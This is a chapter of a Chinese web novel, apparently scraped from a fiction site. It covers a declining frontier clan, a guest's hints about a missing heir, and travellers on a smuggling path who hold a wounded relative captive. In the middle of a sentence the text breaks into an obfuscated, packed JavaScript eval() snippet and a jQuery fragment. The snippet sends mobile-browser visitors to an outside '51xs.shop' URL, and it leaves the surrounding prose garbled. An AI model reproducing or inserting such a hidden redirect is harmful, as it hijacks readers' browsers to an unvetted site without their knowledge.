前朝覆灭时,东南西北四个方向,叛乱四起,中原的心腹大患阿土部更是趁乱南下,连取幽云七州,其中包括了地势险要、关隘众多的山北地,使得中原无天险可守,也就没有了缓冲地带。
大乾立国后,很是花了些时间平乱,开国皇帝和他的臣子们呕心沥血,把疆土一点点收复。奈何北方阿土部各族势力拧成一股绳,凭借幽云七州天险,将这里防卫安排紧密,加之大乾国朝初立,民间已是人丁凋零,纵然几位皇帝有心,也只能看着太行山的重重险阻叹息。
在前朝,其实应该称幽云八州,真定府就是其中一州。尽失七州后,真定府是中原地最后一重壁垒,其战略意义可见一般。
从真定府往北,最重要的关隘就是渔阳关。前朝时,庄家世代守关,出过将军,有过小卒,祖祖辈辈都有人死在关门内外,称一声世代忠良不为过。
前朝覆灭后,大乾立国,曾经站错队的大小世家没落,新的世家崛起,庄家也就此不复曾经辉煌,远离官场,退守祖地,成为了名声不显的所谓“耕读人家”。
其实庄家应该庆幸,若非有着世代守土之功,他们本该如窦家、曹家、范家等曾经显赫一时的家族般,荣光化作灰烬,泯灭于时光。
还能留存一线生机,容得他们在真定府盘踞,已经是开国几任帝王的悯惜。
晋玉山忿忿:“他们家最会拿腔作势,嘴上都是忠良道义,背地里满腔漆黑,对着外头好像多么仁义,对自己族人却欺压的厉害。”
如此盘踞真定府数百年的世家大族,苏家是比不了的。
苏家只是族大,没出过显赫人物,几十辈子数下来,最大的官就是苏温。说一句兴族自苏温始,并不为过。淮阳人看着苏家是大族,放在整个大乾,放在那些真正钟鸣鼎食的世家眼中,不过蝼蚁。
大族有大族的利处,自然也有数不尽的弊端。
如苏家这般,大家曾经都在差不多的起跑线上,举族之力供出大官,那就跟着鸡犬升天罢,最好谁也不要落下太多。你说家境贫困,那肯定是有的,但要说衣不果腹、饿累至死,那绝对不至于。
族里头肯定有尊卑上下,暗地里头勾心斗角也少不了,但苏家好就好在心齐,全族上下齐心一致,奔着好前程去。至于这好前程是再出两个高官,还是经商富甲一方,那不是有族长一家在呢么。
人家族长是上下几十辈子最大的官,自然能把好方向,带着苏家往好日子奔。
庄家则不然。
族太大,族人也太多,经历过辉煌,祖上阔过,如今没落,有的人还能维持着富裕生活,有的人却连饭都吃不上,族中权力倾轧、勾心斗角格外严重。
面上看着都是族人,私底下却分着三六九等,一顶不尊长辈的帽子压下来,真真正正能压死人。
“远的不说,单我知道,十几年前,他们家为了选嗣子,近亲远亲看了个遍,统共选出六个好孩子,族长把这六个孩子接到主家去住,挨个看资质,最后留下个最好的,既然看不上,其余五个你就好好给人家送出来吧…”
几杯佳酿下肚,晋玉山话有些多起来。因是在远隔千里的南地淮阳,面对的又是两个小娘子,他无所顾忌的提到长辈们闲聊时说过的话。
“谁家孩子不是宝呢!”他忿忿着,“他们选定了嗣子,其余五个孩子却没有好下场。”
有一个从主家返家后突发高烧,醒来人就变得痴傻,过了一年,有两个孩子去井边玩耍,失足落井,其中一个救上来已经没气了,另一个病弱缠身,还有两个家里有些关系,见势不妙带着孩子连夜出走,离开真定府自寻出路去。
“就是他们选定的嗣子,也没得好……”
他忽然想到什么,陡然闭口。
苏织笑盈盈,招手叫丫鬟换上壶花酿,亲手斟给晋玉山,道:“秋日合该饮菊花酿,这是东郊李名匠亲手所制,买回来埋在一丛菊花下,断断续续喝到如今,只剩最后一坛。”
盛这盏菊花酿,用了黑色陶盏,釉面磁滑,盏沿光洁,淡黄酒液浅浅铺开,现摘的小小一朵白菊漂在水面,暖阳下泛起涟漪。
少女纤纤玉指,白皙修长,眉目舒展大方,不似高门闺秀,眉宇间带着丝丝英气,倒更像是晋玉山自家姐妹。
他不由得放松,品了品这盏菊花酿。
果然入口绵柔,回味无穷。
不必人言,单看表情就知道对方很是满意,苏织得意道:“你们刚来,不清楚李大家的手艺,他家祖传酒坊,从前朝传到如今,论贵气不敢讲,单论年数,不比你们真定府的庄家传承少。”
她示意丫鬟再斟一盏,状似无意道:“我们淮阳,也有商队跑北方,”下巴一点正拼酒的薛红楚,“诺,那位薛小郎君,他家商队常跑北地,我也小小入了一股。”
说完前言,她向前附身,低声问:“我怎么听说,庄家的那位嗣子,失踪了呢?”
“阿尧哪是失踪,分明就是被那老虔婆暗害…”晋玉山脱口而出,怒目圆睁,眼看就要说出更多。
不妨晋七抽出空来回首,听得此处心中一惊,喝止道:“玉山!”
脚下游龙走蛇,两三个身位绕开薛红楚,直奔这边而来,倒是看的薛红楚惊异连连,目露钦佩,夸赞不愧是武学世家,果然有真功夫。
晋七朝着苏织一礼,脸色不怎么好看,说:“玉山年少,说话没个轻重,小娘子万勿当真。”
晋玉山不服气:“阿尧失踪一事,我早就说有蹊跷,也已查到线索,若非家里阻拦早就打上老虔婆去…”
晋七怒瞪,晋玉山声音渐渐小了下去。
尽管惹得人家兄弟不和,苏织却无事人般,依旧带着浅浅笑意:“听起来,晋家兄长与这位嗣子是旧相识?”
晋七思虑片刻,想着他家和庄尧卿的关系也并非什么不可告人的秘密,随便在真定府一打听,也能打听到。但这位小娘子一再探人家隐私,不知意欲何为,倒要小心为上。
因此小心回答:“阿尧的亲生阿娘,是我晋家远亲,是玉山的表姨。”
这回答出乎苏织意料。
前世里头没有听过与晋家有关的消息——也或许是她从未留意其中细节,故此不知。
苏织有心探问,但晋七一副如临大敌的模样,晋玉山所知有限,于庄尧卿下落也问不出太多,只好笑笑,转过话题。
………
秋风瑟瑟中,两辆马车沿着渔阳关外的大片山坡间小道缓缓行驶。
此类马车不算多,但也不算少。
渔阳关固然是入中原必经之地,但关隘高,搜检森严。来往的商队,谁又能保证真就那么清白,商队里头不夹杂点禁运的铁锅铁铲,或是那白花花的私盐呢。
大商队能出银买通守卫,小商队可没那么多钱。常来往的人都知道山间有小道,只这小道不算平整,翻山越岭,也有人祸,大商队不屑走,只有零星小商队
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067945|146697||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
或几人组成的皮货贩子肯趟。
皮货贩子是真定府与草原之间特有的一种生意。
草原上的皮货生意,王账揽了一大半,剩下的由各部落酋长自行分配,普通的牧民纵然家有成百牛马,不经他们同意,一张皮子也卖不去中原。
为维持信誉,无论大小商队,都不和牧民私下交易,唯恐得罪草原上做主的人,因大事小。但真定府里有些头脑灵活的人,愿意三两搭伴,往草原跑上两趟。
去时背着盐、茶、布匹,因没有马车,也走不远,在草原边缘处,见到放牧的牧民,和他们换皮货,一次背上二三十张,回到真定府或销给亲戚邻里,或出手给南边来的行商,总能获利。
皮货贩子是个苦差事,风餐露宿,安全无保,因此这行当并不时兴,只有些实在过当不下去的汉子才愿意干。
这两辆马车上,正好载着两个皮货贩子。
刚入山里,天上突然飘雪,这俩人今年头一次做这生意,准备不足,险些死在风雪天。
幸好遇到好心人,不仅给他们煮药救了命,还愿意搭载他们和货物一程。
眼下,这两个贩子就跟着马车旁边,和车辕驾车的苏小哥说话。
“咱们沿着这条山间道,再走两个时辰,就有处谷地,可以在那里歇脚过夜。”其中一人对着手里头的简陋手画的的地图研究半晌。
说是新人,他们也不是全然无准备,其中一人的亲兄长也是皮货贩子,常走这条道,只是前年兄长摔断腿,生意就此荒废,家中没有了收入来源,他不得已硬着头皮和好兄弟一同来趟路。
这两人运气不错,到了草原上很快就换到几块好皮,但他们路不熟,语言也不甚通,跟牧民打听回程路,不知怎地,沿着草场越走越深,直到遇上一家中原去的商队,才知道自己走错了路,竟是险些进入草原腹地。
搭车出来草原,到了渔阳关,人家商队要进关,他俩只好走小道。本来手上有兄长画的地图,不愁迷路,奈何他俩在草原耗费太多时间,本该早早回程,却耗到深秋。草原风雪来的早,他们的运气似乎在换到好皮子那可戛然而止,一场风雪,险些要了他俩小命儿。
再次获救后,苏小哥戏称他们绝处逢生,必有后福。对救命恩人,他俩也感激不尽,尽管知道这一行人有蹊跷,却绝口不提,只当搭伴的伙计。
两个时辰后,马车终于到了谷地,山谷避风,比外头要暖和一些。窦英华迫不及待的跳下车,伸了个懒腰,卸下马车,一手一个,牵着两匹马的缰绳去尚有水草的地方饮马。
苏本梁先扶下窦英雄,又把小清从车上抱下来,三个人在车上翻找一通,寻出锅碗,打水的打水,生火的生火。
两个皮货贩子早早就找来一大抱树枝,和苏本梁有说有笑的起火,对马车那边的响动视而不见。
半个车厢里堆着各色毛皮、粮食袋子、干草等乱七八糟,庄尧卿从这堆里头牵着一根绳,滚葫芦似的拽出个人。
这人全身上下没有一块好皮,尽管包扎过了,还是有好些伤口血迹斑斑。庄尧卿取下塞在他嘴里的软布,推了一把,说:
“四叔,今日给你换药。”
庄老四每走一步都如同在刀尖上,疼痛难忍,他浑身颤抖着,嘴皮满是燎泡,艰难的说:“你杀了我吧,杀了我吧…”
庄尧卿一撩眼皮,冷声说:“四叔说哪里话,身为小辈,我自然会好生照顾你,怎会害你性命呢。”